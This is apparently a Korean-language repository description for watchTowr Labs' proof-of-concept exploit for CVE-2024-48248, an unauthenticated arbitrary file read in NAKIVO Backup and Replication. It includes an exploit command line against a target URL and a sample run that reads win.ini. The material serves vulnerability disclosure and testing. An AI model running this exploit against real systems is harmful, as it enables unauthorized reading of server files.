watchtowrlabs/nakivo-arbitrary-file-read-poc-cve-2024-48248CVE-2024-48248에 대한 개념 증명 익스플로잇으로, NAKIVO 백업 및 복제 솔루션에서 인증되지 않은 임의 파일 읽기를 시연합니다. 취약한 버전을 테스트하기 위한 Python 스크립트를 포함합니다.
NAKIVO Backup and Replication Solution: 인증되지 않은 임의 파일 읽기 개념 증명
기술적 세부 사항은 블로그 게시물을 참조하세요.
python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\\windows\\win.ini"
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
(*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2024-48248]
[*] Targeting https://192.168.1.1:4443
[*] Attempting to read file 'C:\windows\win.ini'
[*] File Contents:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
이 스크립트는 NAKIVO Backup and Replication Solution을 대상으로 하는 CVE-2024-48248의 개념 증명입니다. 자세한 내용은 [블로그 게시물] (https://labs.watchtowr.com/)에 설명되어 있습니다.
최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요